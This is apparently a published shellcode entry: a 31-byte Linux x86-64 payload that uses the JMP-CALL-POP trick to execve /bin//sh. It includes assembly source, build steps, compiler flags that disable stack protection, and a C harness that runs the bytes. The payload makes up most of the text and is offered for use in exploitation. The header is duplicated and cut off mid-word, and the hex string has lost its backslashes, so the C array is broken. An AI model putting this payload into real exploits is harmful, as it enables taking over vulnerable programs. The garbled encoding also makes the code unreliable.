Linux x86-64 JMP CALL POP bin sh Shellcode

/*
;Title: Linux/x86-64 - /bin/sh Shellcode
;Author: Touhid M.Shaikh
;Contact: https://github.com/touhidshaikh
;Category: Shellcode
;Architecture: Linux x86_64
;Descr /*
;Title: Linux/x86-64 - /bin/sh Shellcode
;Author: Touhid M.Shaikh
;Contact: https://github.com/touhidshaikh
;Category: Shellcode
;Architecture: Linux x86_64
;Description: This shellcode baased on "JMP CALL POP" method to Execute "/bin//sh". Length of shellcode is 31 bytes.
;Tested on : #1 SMP PREEMPT RT Debian 4.9.25-1kali1 (2017-05-04)



===COMPILATION AND EXECUTION===
#nasm -f elf64 shell.asm -o shell.o

#ld shell.o -o shell <=== Making Binary File


#./bin2shell.sh shell <== xtract hex code from the binary(https://github.com/touhidshaikh/bin2shell)

=================SHELLCODE(INTEL FORMAT)=================

section .text
global _start
_start:
jmp shell
here:
xor rax,rax
pop rdi
xor rsi,rsi
xor rdx,rdx
add rax,59
syscall
shell:
call here
bash db "/bin//sh"

===================END HERE============================

Compile with gcc with some options.

# gcc -fno-stack-protector -z execstack shell-testing.c -o shell-testing


*/

#include<stdio.h>
#include<string.h>

unsigned char code[] =
"xebx10x48x31xc0x5fx48x31xf6x48x31xd2x48x83xc0x3bx0fx05xe8xebxffxffxffx2fx62x69x6ex2fx2fx73x68";

main()
{
printf("Touhid Shaikh (http://www.touhidshaikh.com) ");
printf("Shellcode Length : %d ", (int)strlen(code));

int (*ret)() = (int(*)())code;

ret();

}